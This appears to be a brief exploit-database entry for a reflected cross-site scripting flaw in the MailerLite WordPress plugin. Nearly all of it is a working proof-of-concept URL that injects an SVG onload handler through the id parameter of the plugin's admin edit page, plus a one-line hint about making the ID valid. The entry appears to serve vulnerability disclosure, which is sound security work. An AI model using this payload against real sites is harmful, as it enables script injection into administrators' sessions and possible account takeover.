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## https://sploitus.com/exploit?id=WPEX-ID:557C1C49-7195-4085-B67A-9FD8ACA57845
The first digit of the ID must be an existing form ID

https://example.com/wp-admin/admin.php?page=mailerlite_main&view=edit&id=1%22%3Eaaaa%3Csvg%2Fonload%3Dprompt%281%29%3E